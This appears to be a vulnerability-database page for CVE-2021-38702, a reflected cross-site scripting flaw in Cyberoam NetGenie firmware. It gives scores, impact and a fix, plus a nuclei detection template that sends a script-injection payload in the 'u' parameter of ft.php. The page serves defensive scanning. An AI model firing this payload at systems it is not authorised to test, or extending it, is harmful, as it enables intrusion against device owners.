Browse / CVEs / CVE-2021-38702

CVE-2021-38702· cyberoamworks / netgenie c0101b1-20141120-ng11vo firmware· CWE-79

Cyberoam NetGenie Cross-Site Scripting

mediumseverity

6.1CVSS score

6.7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-38702 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-38702

info:
  name: Cyberoam NetGenie Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/20
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38702
    - http://www.cyberoamworks.com/NetGenie-Home.asp
    - http://packetstormsecurity.com/files/163859/Cyberoam-NetGenie-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-38702
    cwe-id: CWE-79
    epss-score: 0.06661
    epss-percentile: 0.93943
    cpe: cpe:2.3:o:cyberoamworks:netgenie_c0101b1-20141120-ng11vo_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cyberoamworks
    product: netgenie_c0101b1-20141120-ng11vo_firmware
  tags: cve2021,cve,cyberoam,netgenie,xss,router,seclists,packetstorm,cyberoamworks,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from